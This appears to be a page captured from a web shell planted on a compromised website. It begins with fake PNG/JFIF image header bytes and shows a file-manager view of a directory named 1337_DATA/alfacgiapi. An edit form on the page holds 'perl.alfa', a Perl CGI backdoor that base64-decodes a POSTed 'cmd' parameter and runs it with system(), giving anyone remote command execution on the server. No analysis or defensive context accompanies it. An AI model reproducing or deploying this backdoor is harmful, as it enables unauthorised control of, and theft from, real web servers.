�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F1337_DATA%2F'>1337_DATA</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F1337_DATA%2Falfacgiapi%2F'>alfacgiapi</a>/</p><hr><h3>✏️ Editing: perl.alfa</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl   -I/usr/local/bandmin
use MIME::Base64;print &quot;Content-type: text/html\n\n&quot;;if($ENV{&#039;REQUEST_METHOD&#039;} eq &quot;POST&quot;){my ($i, $key, $val, $in);read(STDIN, $in, $ENV{&#039;CONTENT_LENGTH&#039;});@in = split(/&amp;/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i], 2);$key =~ s/%(..)/pack(&quot;c&quot;, hex($1))/ge;$val =~ s/%(..)/pack(&quot;c&quot;, hex($1))/ge;$in{$key} .= &quot;\0&quot; if (defined($in{$key}));$in{$key} .= $val;}if($in{&quot;cmd&quot;}){print decode_base64($in{&quot;check&quot;}).&quot;&lt;pre&gt;&quot;;system(decode_base64($in{&quot;cmd&quot;}));print &quot;&lt;/pre&gt;&quot;}}</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F1337_DATA%2Falfacgiapi'>🔙 Back</a></p>